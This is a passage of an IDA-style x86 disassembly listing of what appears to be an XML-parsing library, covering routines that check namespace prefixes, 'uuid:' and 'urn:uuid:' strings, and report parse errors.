		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	[ebp-68h], eax
		mov	edi, [eax+8]
		mov	[ebp-6Ch], edi
		lea	eax, [edi+1]
		mov	[ebp-70h], eax


loc_69B4D7E5:				; CODE XREF: sub_69B4D7A3+2Cj
		mov	ecx, [ebp+8]
		mov	ecx, [ecx+8]
		mov	[ebp-74h], ecx
		add	eax, ecx
		mov	[ebp-70h], eax
		lea	ebx, [eax+2]
		lea	eax, [ebx+ebx]
		mov	[ebp-78h], eax
		cmp	eax, 20h
		jle	short loc_69B4D811
		add	eax, eax
		push	eax
		call	sub_69B1D897
		mov	[ebp-7Ch], eax
		mov	esi, eax
		mov	[ebp-64h], esi


loc_69B4D811:				; CODE XREF: sub_69B4D7A3+5Cj
		mov	eax, [ebp+10h]
		mov	[esi], eax
		lea	eax, [esi+4]
		test	edi, edi
		jz	short loc_69B4D839
		push	edi
		push	eax
		mov	ecx, [ebp+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, eax
		call	sub_69B2ECF7
		mov	word ptr [esi+edi*2+4],	3Ah
		lea	eax, [esi+edi*2+6]


loc_69B4D839:				; CODE XREF: sub_69B4D7A3+78j
		push	dword ptr [ebp-74h]
		mov	ecx, [ebp+8]
		push	eax
		call	sub_69B2ECF7
		mov	edi, [ebp-20h]
		mov	ecx, [edi+0Ch]
		mov	[ebp-80h], ecx
		push	ebx
		push	esi
		call	sub_69B1941C
		mov	[ebp-84h], eax
		test	eax, eax
		jnz	short loc_69B4D8A2
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_69B192B7
		push	eax
		call	sub_69B4D460
		mov	[ebp-84h], eax
		mov	edi, [edi+0Ch]
		mov	[ebp-88h], edi
		push	ebx
		push	0
		push	esi
		call	sub_69B190A9
		mov	[ebp-8Ch], eax
		push	dword ptr [ebp-84h]
		push	eax
		mov	ecx, edi
		call	sub_69B3182D


loc_69B4D8A2:				; CODE XREF: sub_69B4D7A3+BAj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B4D8C7
		mov	eax, [ebp-84h]
		mov	ecx, [ebp-1Ch]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		call	sub_69B1853C
		retn	10h
sub_69B4D7A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B4D8C4	proc near		; DATA XREF: .text:69B4D8E0o
		mov	esi, [ebp-64h]
sub_69B4D8C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B4D8C7	proc near		; CODE XREF: sub_69B4D7A3+103p
		lea	eax, [ebp-60h]
		cmp	esi, eax
		jz	short locret_69B4D8D4
		push	esi
		call	sub_69B1B2B7

locret_69B4D8D4:			; CODE XREF: sub_69B4D8C7+5j
		retn
sub_69B4D8C7	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B4D8D8	dd 0FFFFFFFFh, 0		dd offset sub_69B4D8C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4D8E4	proc near		; CODE XREF: sub_69B3E5A2+A7p
					; sub_69B4D02C+9Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 12h	; switch 19 cases
		push	esi
		mov	esi, 80070057h
		ja	short loc_69B4D914 ; default
					; jumptable 69B4D8FD cases 3,7-10,12-14,16
		movzx	eax, ds:byte_69B4DA58[ebx]
		jmp	ds:off_69B4DA48[eax*4] ; switch	jump


loc_69B4D904:				; DATA XREF: .text:off_69B4DA48o
		push	0		; jumptable 69B4D8FD case 4
		push	0C00CE21Ah
		push	esi
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4D914:				; CODE XREF: sub_69B4D8E4+10j
					; sub_69B4D8E4+19j
					; DATA XREF: ...
		push	0		; default
					; jumptable 69B4D8FD cases 3,7-10,12-14,16
		push	ebx
		call	sub_69B47CF1
		push	eax
		push	0C00CE208h
		push	esi
		call	sub_69B2E9D0
		add	esp, 10h
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	loc_69B4DA42	; jumptable 69B4D8FD cases 1,2,6,17


loc_69B4D935:				; CODE XREF: sub_69B4D8E4+19j
					; DATA XREF: .text:off_69B4DA48o
		push	edi		; jumptable 69B4D8FD cases 0,5,11,15,18
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jnz	short loc_69B4D954
		push	edi
		push	ebx
		call	sub_69B47CF1
		push	eax
		mov	eax, 0C00CE20Eh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4D954:				; CODE XREF: sub_69B4D8E4+57j
		cmp	[ebp+arg_0], 0
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+8]
		mov	[ebp+arg_4], esi
		jz	short loc_69B4D9E0
		cmp	[ebp+arg_0], 0Fh
		jz	short loc_69B4D9E0
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		mov	esi, 0C00CE227h
		jnz	short loc_69B4D97A
		cmp	[ebx+10h], eax
		jz	short loc_69B4D996


loc_69B4D97A:				; CODE XREF: sub_69B4D8E4+8Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B47CF1
		push	eax
		push	esi
		push	esi
		call	sub_69B2E9D0
		add	esp, 14h


loc_69B4D996:				; CODE XREF: sub_69B4D8E4+94j
		cmp	[ebp+arg_0], 5
		jnz	loc_69B4DA41
		mov	ecx, [ebx+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		cmp	dword ptr [eax+8], 3
		jnz	loc_69B4DA41
		push	dword ptr [eax+0Ch]
		push	offset aXml	; "xml"
		call	sub_69B2ED17
		test	eax, eax
		jnz	short loc_69B4DA41
		push	eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		push	5
		call	sub_69B47CF1
		push	eax
		push	esi
		push	esi
		call	sub_69B2E9D0
		add	esp, 14h
		jmp	short loc_69B4DA41
; ---------------------------------------------------------------------------


loc_69B4D9E0:				; CODE XREF: sub_69B4D8E4+7Dj
					; sub_69B4D8E4+83j
		test	esi, esi
		jz	short loc_69B4DA41
		push	esi
		call	sub_69B4D223
		test	al, al
		jz	short loc_69B4DA41
		cmp	[ebp+arg_0], 0Fh
		jnz	short loc_69B4DA30
		push	esi
		call	sub_69B4D2B6
		test	eax, eax
		jz	short loc_69B4DA30
		cmp	eax, dword_69B95A5C
		jnz	short loc_69B4DA41
		push	dword ptr [ebx+14h]
		call	sub_69B4D223
		test	al, al
		jz	short loc_69B4DA41
		mov	ebx, [ebx+14h]
		mov	eax, [ebx]
		push	0
		mov	ecx, ebx
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE010h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B4DA41
; ---------------------------------------------------------------------------


loc_69B4DA30:				; CODE XREF: sub_69B4D8E4+10Ej
					; sub_69B4D8E4+118j
		mov	eax, 0C00CE568h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4DA41:				; CODE XREF: sub_69B4D8E4+B6j
					; sub_69B4D8E4+C8j ...
		pop	edi


loc_69B4DA42:				; CODE XREF: sub_69B4D8E4+19j
					; sub_69B4D8E4+4Bj
					; DATA XREF: ...
		pop	esi		; jumptable 69B4D8FD cases 1,2,6,17
		pop	ebx
		pop	ebp
		retn	8
sub_69B4D8E4	endp

; ---------------------------------------------------------------------------
off_69B4DA48	dd offset loc_69B4D935	; DATA XREF: sub_69B4D8E4+19r
		dd offset loc_69B4DA42	; jump table for switch	statement
		dd offset loc_69B4D904
		dd offset loc_69B4D914
byte_69B4DA58	db	0,     1,     1,     3 ; DATA XREF: sub_69B4D8E4+12r
		db	2,     0,     1,     3 ; indirect table	for switch statement
		db	3,     3,     3,     0
		db	3,     3,     3,     0
		db	3,     1,     0
; ---------------------------------------------------------------------------


loc_69B4DA6B:				; DATA XREF: sub_69B4E185+38o
		push	esi
		mov	esi, [esp+0Ch]
		push	dword ptr [esi]
		call	sub_69B2F0C4
		mov	[esi], eax
		mov	esi, [esp+10h]
		mov	eax, [esi]
		mov	ecx, [eax+0Ch]
		mov	edx, [eax+10h]
		mov	eax, [eax+8]
		push	ecx
		push	edx
		push	eax
		call	sub_69B4D460
		mov	[esi], eax
		pop	esi
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_69B4DA96	proc near		; CODE XREF: sub_69B4C3EC+C5p
					; sub_69B4C3EC+11Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		mov	[esp+0Ch+var_4], ecx
		mov	ecx, [esp+0Ch+arg_0]
		mov	eax, [ecx]
		push	esi
		push	edi
		call	dword ptr [eax+2Ch]
		mov	ebx, eax
		mov	eax, [ebx+8]
		push	5
		pop	ebp
		cmp	eax, ebp
		jle	short loc_69B4DACE
		mov	esi, [ebx+0Ch]
		push	0Ah
		pop	ecx
		mov	edi, offset aUuid ; "uuid:"
		xor	edx, edx
		repe cmpsb
		jz	short loc_69B4DACA
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_69B4DACA:				; CODE XREF: sub_69B4DA96+2Dj
		test	edx, edx
		jz	short loc_69B4DAEF


loc_69B4DACE:				; CODE XREF: sub_69B4DA96+1Cj
		push	9
		pop	ebp
		cmp	eax, ebp
		jle	short loc_69B4DB23
		mov	esi, [ebx+0Ch]
		push	12h
		pop	ecx
		mov	edi, offset aUrnUuid ; "urn:uuid:"
		xor	edx, edx
		repe cmpsb
		jz	short loc_69B4DAEB
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_69B4DAEB:				; CODE XREF: sub_69B4DA96+4Ej
		test	edx, edx
		jnz	short loc_69B4DB23


loc_69B4DAEF:				; CODE XREF: sub_69B4DA96+36j
		push	eax
		push	ebp
		mov	ecx, ebx
		call	sub_69B2F3CD
		mov	ecx, eax
		call	sub_69B2F266
		xor	esi, esi
		push	esi
		push	eax
		push	ebp
		push	esi
		mov	ecx, ebx
		call	sub_69B2F3CD
		push	eax
		call	sub_69B2F2CA
		mov	ecx, [esp+20h+var_4]
		add	esp, 0Ch
		push	esi		; int
		push	esi		; lpString
		push	eax		; int
		call	sub_69B4D394
		jmp	short loc_69B4DB27
; ---------------------------------------------------------------------------


loc_69B4DB23:				; CODE XREF: sub_69B4DA96+3Dj
					; sub_69B4DA96+57j
		mov	eax, [esp+14h+arg_0]


loc_69B4DB27:				; CODE XREF: sub_69B4DA96+8Bj
		cmp	dword_69B95A44,	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		jz	short loc_69B4DB3B
		cmp	dword_69B95A4C,	eax
		jnz	short loc_69B4DB40


loc_69B4DB3B:				; CODE XREF: sub_69B4DA96+9Bj
		mov	eax, dword_69B95A54


loc_69B4DB40:				; CODE XREF: sub_69B4DA96+A3j
		cmp	dword_69B95A34,	eax
		jnz	short loc_69B4DB4D
		mov	eax, dword_69B95A3C


loc_69B4DB4D:				; CODE XREF: sub_69B4DA96+B0j
		pop	ecx
		retn	4
sub_69B4DA96	endp

; ---------------------------------------------------------------------------
		align 4
aUrnUuid:				; DATA XREF: sub_69B4DA96+45o
		unicode	0, <urn:uuid:>,0
aUuid:					; DATA XREF: sub_69B4DA96+24o
		unicode	0, <uuid:>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B4DB74	proc near		; DATA XREF: .text:69B151E4o
					; .text:69B16F60o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B4DB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4DBA0	proc near		; DATA XREF: .text:69B15130o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B4DBBB
		test	[esp+4+arg_0], 1
		jz	short loc_69B4DBB5
		push	esi
		call	sub_69B1829F


loc_69B4DBB5:				; CODE XREF: sub_69B4DBA0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B4DBA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4DBBB	proc near		; CODE XREF: sub_69B4DBA0+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B4DBBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4DBEA	proc near		; CODE XREF: sub_69B4DFFF+74p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B2FA09
		push	eax
		call	sub_69B4D460
		pop	ebp
		retn	14h
sub_69B4DBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4DC0B	proc near		; DATA XREF: .text:69B151DCo
		mov	eax, [ecx+0Ch]
		mov	ecx, [ecx+8]
		push	eax
		push	ecx
		call	sub_69B4D477
		retn
sub_69B4DC0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4DC19	proc near		; DATA XREF: .text:69B12730o
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+10h]
		cmp	eax, edi
		jz	short loc_69B4DC4D
		push	eax
		call	sub_69B1B2B7
		mov	[esi+10h], edi


loc_69B4DC4D:				; CODE XREF: sub_69B4DC19+29j
		push	edi
		lea	eax, [esi+8]
		push	eax
		mov	[esi+14h], edi
		call	sub_69B17320
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B4DC19	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4DC63	proc near		; DATA XREF: .text:69B12708o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B4DC7E
		test	[esp+4+arg_0], 1
		jz	short loc_69B4DC78
		push	esi
		call	sub_69B1829F


loc_69B4DC78:				; CODE XREF: sub_69B4DC63+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B4DC63	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4DC7E	proc near		; CODE XREF: sub_69B4DC63+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+1Ch]
		push	eax
		mov	dword ptr [esi], offset	off_69B126FC
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B4DC7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4DCB3	proc near		; CODE XREF: sub_69B490BC+51p
					; sub_69B4DD27+70p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	esi, ecx
		jnz	short loc_69B4DCD1
		test	edi, edi
		jz	short loc_69B4DCDB
		push	edi
		call	sub_69B4DA96
		mov	ebx, eax


loc_69B4DCD1:				; CODE XREF: sub_69B4DCB3+10j
		test	edi, edi
		jnz	short loc_69B4DCDB
		test	ebx, ebx
		jz	short loc_69B4DCDB
		mov	edi, ebx


loc_69B4DCDB:				; CODE XREF: sub_69B4DCB3+14j
					; sub_69B4DCB3+20j ...
		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B4DCF9
		push	[ebp+arg_C]
		mov	ecx, eax
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_69B150C8
		mov	edi, eax
		jmp	short loc_69B4DCFB
; ---------------------------------------------------------------------------


loc_69B4DCF9:				; CODE XREF: sub_69B4DCB3+31j
		xor	edi, edi


loc_69B4DCFB:				; CODE XREF: sub_69B4DCB3+44j
		mov	ecx, [esi+1Ch]
		push	edi
		call	sub_69B8A35C
		inc	dword ptr [esi+20h]
		cmp	[ebp+arg_0], 0
		jnz	short loc_69B4DD20
		add	esi, 18h
		push	esi
		lea	ecx, [edi+18h]
		call	sub_69B4D414
		push	edi
		push	esi
		call	sub_69B17320


loc_69B4DD20:				; CODE XREF: sub_69B4DCB3+58j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B4DCB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4DD27	proc near		; CODE XREF: sub_69B173D1+15Dp
					; sub_69B4DDB5+27p ...

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		lea	eax, [ebp+var_C]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_0]
		push	eax
		call	sub_69B48F23
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B4DDAF
		push	esi


loc_69B4DD47:				; CODE XREF: sub_69B4DD27+85j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	ecx, [eax+0Ch]
		mov	eax, [eax+8]
		cmp	ecx, dword_69B95A6C
		mov	esi, [eax+14h]
		mov	eax, [esi]
		mov	ecx, esi
		setz	[ebp+var_1]
		call	dword ptr [eax+2Ch]
		cmp	[eax+8], ebx
		jnz	short loc_69B4DD6F
		xor	esi, esi


loc_69B4DD6F:				; CODE XREF: sub_69B4DD27+44j
		cmp	[ebp+var_1], bl
		jz	short loc_69B4DD9C
		mov	ecx, edi
		call	sub_69B40333
		cmp	eax, ebx
		jz	short loc_69B4DD8C
		mov	ecx, [ebp+var_8]
		push	ebx		; int
		push	ebx		; lpString
		push	eax		; int
		call	sub_69B4D394
		jmp	short loc_69B4DD8E
; ---------------------------------------------------------------------------


loc_69B4DD8C:				; CODE XREF: sub_69B4DD27+56j
		xor	eax, eax


loc_69B4DD8E:				; CODE XREF: sub_69B4DD27+63j
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		call	sub_69B4DCB3


loc_69B4DD9C:				; CODE XREF: sub_69B4DD27+4Bj
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B486B5
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B4DD47
		pop	esi


loc_69B4DDAF:				; CODE XREF: sub_69B4DD27+1Dj
		pop	edi
		pop	ebx
		leave
		retn	4
sub_69B4DD27	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4DDB5	proc near		; CODE XREF: sub_69B4DDB5+1Fp
					; sub_69B5CB6E+51p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	byte ptr [esi+0Bh], 1Fh
		push	edi
		mov	edi, ecx
		jnz	short loc_69B4DDE1
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B4DDD9
		push	eax
		mov	ecx, edi
		call	sub_69B4DDB5


loc_69B4DDD9:				; CODE XREF: sub_69B4DDB5+1Aj
		push	esi
		mov	ecx, edi
		call	sub_69B4DD27


loc_69B4DDE1:				; CODE XREF: sub_69B4DDB5+Cj
		pop	edi
		pop	esi
		retn	4
sub_69B4DDB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4DDE6	proc near		; CODE XREF: sub_69B173D1+2C8p
					; sub_69B4FCAC+34p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		jmp	short loc_69B4DE06
; ---------------------------------------------------------------------------


loc_69B4DDEB:				; CODE XREF: sub_69B4DDE6+25j
		mov	ecx, [esi+1Ch]
		dec	eax
		push	eax
		call	sub_69B8A163
		mov	ecx, [eax+14h]
		cmp	ecx, [esp+4+arg_0]
		jnz	short loc_69B4DE0D
		push	eax
		mov	ecx, esi
		call	sub_69B4D535


loc_69B4DE06:				; CODE XREF: sub_69B4DDE6+3j
		mov	eax, [esi+20h]
		test	eax, eax
		jg	short loc_69B4DDEB


loc_69B4DE0D:				; CODE XREF: sub_69B4DDE6+16j
		pop	esi
		retn	4
sub_69B4DDE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4DE11	proc near		; CODE XREF: sub_69B4AD10+33p
					; sub_69B4E634+99p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_0], 1
		mov	[ebp+var_20], ecx
		jg	short loc_69B4DE2D
		mov	ecx, [ebp+arg_4]
		call	sub_69B2F43C
		jmp	locret_69B4DFAC
; ---------------------------------------------------------------------------


loc_69B4DE2D:				; CODE XREF: sub_69B4DE11+Dj
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx+0Ch]
		push	edi
		xor	edi, edi
		mov	[ebp+var_14], eax
		mov	eax, [ebx+8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_10], edi
		push	esi


loc_69B4DE4A:				; CODE XREF: sub_69B4DE11+188j
		cmp	edi, [ebp+var_8]
		jl	short loc_69B4DE69


loc_69B4DE4F:				; CODE XREF: sub_69B4DE11+55j
					; sub_69B4DE11+6Ej
		cmp	[ebp+var_C], 0
		jnz	loc_69B4DF9F
		mov	eax, 0C00CE56Bh
		jmp	loc_69B4DFD8
; ---------------------------------------------------------------------------


loc_69B4DE63:				; CODE XREF: sub_69B4DE11+69j
		cmp	edi, [ebp+var_8]
		jge	short loc_69B4DE4F
		inc	edi


loc_69B4DE69:				; CODE XREF: sub_69B4DE11+3Cj
		mov	eax, [ebp+var_14]
		xor	esi, esi
		mov	si, [eax+edi*2]
		push	esi
		call	sub_69B2ECB4
		test	eax, eax
		jnz	short loc_69B4DE63
		cmp	edi, [ebp+var_8]
		jge	short loc_69B4DE4F
		mov	eax, [ebp+arg_0]
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ds:byte_69B4DFF3[eax], 0
		mov	[ebp+var_18], edi
		jz	short loc_69B4DEA7
		push	esi
		call	sub_69B31987
		test	eax, eax
		jnz	short loc_69B4DEA7
		cmp	[ebp+arg_8], al
		jnz	loc_69B4DFB0


loc_69B4DEA7:				; CODE XREF: sub_69B4DE11+81j
					; sub_69B4DE11+8Bj ...
		mov	ebx, [ebp+var_14]
		xor	esi, esi
		mov	si, [ebx+edi*2]
		push	esi
		call	sub_69B2ECB4
		test	eax, eax
		jnz	short loc_69B4DEF4
		cmp	si, 3Ah
		jnz	short loc_69B4DED8
		cmp	edi, [ebp+var_18]
		jz	loc_69B4DFB0
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	loc_69B4DFBE
		mov	[ebp+var_4], edi
		jmp	short loc_69B4DEEC
; ---------------------------------------------------------------------------


loc_69B4DED8:				; CODE XREF: sub_69B4DE11+ADj
		cmp	[ebp+arg_8], 0
		jz	short loc_69B4DEEC
		push	esi
		call	sub_69B31967
		test	eax, eax
		jz	loc_69B4DFC5


loc_69B4DEEC:				; CODE XREF: sub_69B4DE11+C5j
					; sub_69B4DE11+CBj
		inc	edi
		cmp	edi, [ebp+var_8]
		jl	short loc_69B4DEA7
		jmp	short loc_69B4DF00
; ---------------------------------------------------------------------------


loc_69B4DEF4:				; CODE XREF: sub_69B4DE11+A7j
		lea	eax, [edi-1]
		cmp	[ebp+var_4], eax
		jz	loc_69B4DFB7


loc_69B4DF00:				; CODE XREF: sub_69B4DE11+E1j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 1
		jle	short loc_69B4DF19
		mov	eax, [ebp+arg_0]
		cmp	byte ptr ds:(loc_69B4DFE6+1)[eax], 0
		jz	loc_69B4DFCC


loc_69B4DF19:				; CODE XREF: sub_69B4DE11+F6j
		mov	eax, [ebp+var_18]
		mov	esi, edi
		sub	esi, eax
		lea	ebx, [ebx+eax*2]
		mov	eax, [ebp+arg_0]
		cmp	eax, 3
		jl	short loc_69B4DF89
		cmp	eax, 4
		jle	short loc_69B4DF66
		cmp	eax, 6
		jle	short loc_69B4DF60
		cmp	eax, 8
		jz	short loc_69B4DF66
		cmp	eax, 0Bh
		jnz	short loc_69B4DF89
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	eax, ecx
		jle	short loc_69B4DF4D
		sub	eax, [ebp+var_18]
		jmp	short loc_69B4DF4F
; ---------------------------------------------------------------------------


loc_69B4DF4D:				; CODE XREF: sub_69B4DE11+135j
		xor	eax, eax


loc_69B4DF4F:				; CODE XREF: sub_69B4DE11+13Aj
		push	ecx		; int
		push	ecx		; int
		push	ecx		; int
		push	ecx		; int
		mov	ecx, [ebp+var_20]
		push	eax		; int
		push	esi		; int
		push	ebx		; lpString
		call	sub_69B4D62C
		jmp	short loc_69B4DF90
; ---------------------------------------------------------------------------


loc_69B4DF60:				; CODE XREF: sub_69B4DE11+122j
		cmp	[ebp+var_4], 0
		jg	short loc_69B4DFD3


loc_69B4DF66:				; CODE XREF: sub_69B4DE11+11Dj
					; sub_69B4DE11+127j
		cmp	[ebp+var_1C], 0
		jnz	short loc_69B4DF77
		call	sub_69B1D7F6
		mov	[ebp+var_1C], eax
		mov	[ebp+var_10], eax


loc_69B4DF77:				; CODE XREF: sub_69B4DE11+159j
		push	esi
		push	ebx
		call	sub_69B2F9F5
		mov	ecx, [ebp+var_1C]
		push	eax
		call	sub_69B8A35C
		jmp	short loc_69B4DF93
; ---------------------------------------------------------------------------


loc_69B4DF89:				; CODE XREF: sub_69B4DE11+118j
					; sub_69B4DE11+12Cj
		push	esi
		push	ebx
		call	sub_69B2F9F5


loc_69B4DF90:				; CODE XREF: sub_69B4DE11+14Dj
		mov	[ebp+var_10], eax


loc_69B4DF93:				; CODE XREF: sub_69B4DE11+176j
		cmp	edi, [ebp+var_8]
		mov	ebx, [ebp+arg_4]
		jl	loc_69B4DE4A


loc_69B4DF9F:				; CODE XREF: sub_69B4DE11+42j
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+30h]
		mov	eax, [ebp+var_10]


loc_69B4DFA9:				; CODE XREF: sub_69B4DE11:loc_69B4DFE6j
		pop	esi
		pop	edi
		pop	ebx

locret_69B4DFAC:			; CODE XREF: sub_69B4DE11+17j
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B4DFB0:				; CODE XREF: sub_69B4DE11+90j
					; sub_69B4DE11+B2j
		mov	eax, 0C00CE504h
		jmp	short loc_69B4DFD8
; ---------------------------------------------------------------------------


loc_69B4DFB7:				; CODE XREF: sub_69B4DE11+E9j
		mov	eax, 0C00CE20Fh
		jmp	short loc_69B4DFD8
; ---------------------------------------------------------------------------


loc_69B4DFBE:				; CODE XREF: sub_69B4DE11+BCj
		mov	eax, 0C00CE51Ch
		jmp	short loc_69B4DFD8
; ---------------------------------------------------------------------------


loc_69B4DFC5:				; CODE XREF: sub_69B4DE11+D5j
		mov	eax, 0C00CE505h
		jmp	short loc_69B4DFD8
; ---------------------------------------------------------------------------


loc_69B4DFCC:				; CODE XREF: sub_69B4DE11+102j
		mov	eax, 0C00CE574h
		jmp	short loc_69B4DFD8
; ---------------------------------------------------------------------------


loc_69B4DFD3:				; CODE XREF: sub_69B4DE11+153j
		mov	eax, 0C00CE00Ch


loc_69B4DFD8:				; CODE XREF: sub_69B4DE11+4Dj
					; sub_69B4DE11+1A4j ...
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch
		xor	eax, eax


loc_69B4DFE6:				; DATA XREF: sub_69B4DE11+FBr
		jmp	short loc_69B4DFA9
sub_69B4DE11	endp

; ---------------------------------------------------------------------------
		dd 1000000h, 1000100h
		db 3 dup(0)
byte_69B4DFF3	db 0			; DATA XREF: sub_69B4DE11+77r
		dd 1010100h, 101h
		db 1, 0, 1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4DFFF	proc near		; CODE XREF: sub_69B4918C+15p
					; sub_69B4F0B4+9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
